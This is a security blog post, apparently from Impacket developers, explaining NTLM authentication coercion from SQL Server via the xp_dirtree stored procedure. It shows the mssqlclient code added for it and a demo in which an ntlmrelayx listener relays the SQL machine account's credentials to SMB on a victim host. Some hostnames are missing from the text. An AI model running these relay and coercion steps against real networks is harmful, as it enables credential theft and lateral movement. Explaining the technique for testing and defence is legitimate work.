Authentication Impacket

Relaying Everything: Coercing Authentications Episode 1 – MSSQL

A new PR merged: MSSQL and the xp_dirtree procedure. You know the rest. Let’s talk about NTLM authentication coercion methods using Impacket.

Somedays ago, we’ve updated mssqlclient[.]py, adding many new commands. One of them, the xp_dirtree option, allows us to coerce incoming NTLM authentications from targeted SQL Servers. That means hashes 🤑, and you know, we love hashes and we love relay them everywhere!

The technique is not new; on the contrary, it has been around us for years (you’ve probably heard of the mssql_ntlm_stealer module from Metasploit or other implementations). However, this addition seemed like a good opportunity for me to start a series of posts about the different NTLM authentication coercion methods we have implemented in Impacket or someone else has implemented using it.

Let’s start!

🆕 Merged PR #1397

Coercing Authentications

The first step in an NTLM relay attack is to obtain an incoming NTLM authentication. To do that, an attacker has to force a victim to authenticate to a controlled machine using different techniques. These techniques are known as authentication coercion methods.

Some methods abuse a functionality of a protocol, other take advantage of a vulnerability. Some require credentials to be triggered, other can be executed anonymously. PetitPotam, PrinterBug, and ShadowCoerce are some examples, but there are more of them.

Having said that, let’s go back to MSSQL. How do we force an incoming authentication through a SQL Server? The answer is an extended and undocumented stored procedure named xp_dirtree.


SQL Server can interact with the file system in different ways, for example, by providing directory listing. Here is where xp_dirtree comes into play. This stored procedure displays a list of every folder, subfolder, and file for a chosen path.

The procedure is not restricted to the local machine or current working directory but can also be used to connect to external file shares. How? It supports remote UNC paths (\\Server\Folder) to connect to network drives. And what happens when the SQL Server tries to connect to a remote file server? Yes! An NTLM authentication attempt.

The SQL Server (MSSQLSERVER) service account starts the authentication process against the remote server. This service account can be configured with different startup accounts: domain users, local users, managed services, virtual accounts, or built-in system accounts (Local Service, Network Service, Local System).

If the SQL Server service account runs as a Network Service or virtual account, access to network resources is done using the computer account credentials.

The default startup account used by setup when installing SQL Server is the Network Service account. However, this can be configured according to the enterprise’s needs. It’s common to see Domain Accounts.

At this point, you may be wondering what do we need to execute xp_dirtree. By default, any authenticated account with the PUBLIC role can make calls to the procedure!

So, we already know how the coercion method works. How do we trigger it? Using

The Tool is a client that allows us to interact with an MSSQL Server by performing a list of various actions through an interactive command line console (named SQLSHELL).

This console is built with the Cmd class, specifically, is a subclass of it. Cmd provides a simple framework for writing line-oriented command interpreter. It allows us to add commands easily by defining methods that begin do_* inside the subclass.

So, if we have to create a new command to trigger an incoming authentication using xp_dirtree, we just need to add a method do_dirxptree. Let’s see the code.

The Code

We need a method to call the stored procedure. The first question to answer is, how do we execute SQL queries in The batch method (handy alias sql_query) in the MSSQL class of the Impacket’s MS-TDS implementation allows us to send SQL Statements to the database server.

The Tabular Data Stream (TDS) protocol is an application layer protocol used by clients to connect and interact with a SQL Server.

The method sends a TDS packet with type TDS_SQL_BATCH and the cmd statement (SQL query) represented as a Unicode string.

def batch(self, cmd,tuplemode=False,wait=True):
    # First of all we clear the rows, colMeta and lastError
    self.rows = []
    self.colMeta = []
    self.lastError = False
    self.sendTDS(TDS_SQL_BATCH, (cmd+'\r\n').encode('utf-16le'))
    if wait:
        tds = self.recvTDS()
        self.replies = self.parseReply(tds['Data'],tuplemode)
        return self.rows
        return True

Second question, how do we use it from The client includes a method named sql_query that allows us to call the batch method self.sql.sql_query(query)

def sql_query(self, query, show=True):
    if is not None and len( > 0:
        for (linked_server, prefix) in[::-1]:
            query = "EXEC ('" + prefix.replace("'", "''") + query.replace("'", "''") + "') AT " + linked_server
    if self.show_queries and show:
        print('[%%] %s' % query)
    return self.sql.sql_query(query)

So, we just have to call sql_query with our customized SQL statement. Third and final question, how do we build the SQL query to call master.sys.xp_dirtree?

The stored procedure has three parameters:

  1. Directory: the directory which the procedure will read the files. It’s the remote server that will receive and relay the incoming NTLM authentication (a machine running our 😉).
  2. Depth: this tells the stored procedure how many subfolder levels to display. The default of 0 will display all subfolders. Set 1 to this value it’ll be fine.
  3. File: use to display files as well as folders. The default of 0 will not display any files. We set it to 1.

The final code is simple: exec master.sys.xp_dirtree '%s',1,1 where s will be the UNC path to the remote server (e.g. \\

def do_xp_dirtree(self, s):
        self.sql_query("exec master.sys.xp_dirtree '%s',1,1" % s)

Show Time

Let’s suppose we have an attacker machine ( with Impacket installed (we need and, and we want to attack a victim machine ( using the relayed NTLM creds from the service that runs a MSSQL Server 2022 (

First of all, we run in the attacker machine waiting for the incoming connection. In this case, we use socks. -t -smb2support -socks
Cannot determine Impacket version. If running from source you should at least run "python egg_info"
Impacket v0.10.0 - Copyright 2022 Fortra

[*] Protocol Client IMAP loaded..
[*] Servers started, waiting for connections
Type help for list of commands

Then, we need to trigger the NTLM authentication. We use to connect to the SQL Server (using a SQL login included in the PUBLIC role : Administrator) and execute xp_dirtree with the UNC path of our attacker machine (\\ -windows-auth
Impacket v0.10.1.dev1+20230216.13520.d4c06e7f - Copyright 2022 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-21H2): Line 1: Changed database context to 'master'.
[*] INFO(WIN-21H2): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server
[!] Press help for extra shell commands
SQL (EJEMPLO\Administrator  dbo@master)> xp_dirtree \\
subdirectory   depth   file   
------------   -----   ---- 

And that’s all. In, we’ll see the SMB connection from the server machine account (WIN-SQL$*) and the sock connection ready to play 😈.

[*] SMBD-Thread-10: Received connection from, attacking target smb://
[*] Authenticating against smb:// as DOMAIN/WIN-SQL$ SUCCEED
[*] SOCKS: Adding DOMAIN/WIN-SQL$@ to active SOCKS connection. Enjoy
ntlmrelayx> socks
Protocol  Target          Username          AdminStatus  Port 
--------  --------------  ----------------  -----------  ----

* That’s because the SQL Server was configured with the NT Service account.

Final Notes

This was an easy one, wasn’t it? The method isn’t new; on the contrary, is almost as old as the NTLM relay technique, but it was a great excuse to write about Impacket and its internals. I hope you’ve learned a little more about the technical aspects of this great project.

Thanks @Mayfly277, @trietend and @TurtleARM for your PRs to Impacket!

As usual, questions and comments are more than welcome!

See you in the next episode. Coming soon: the PrinterBug 🖨️🐞.

Thanks for reading!

Leave a Reply

Your email address will not be published. Required fields are marked *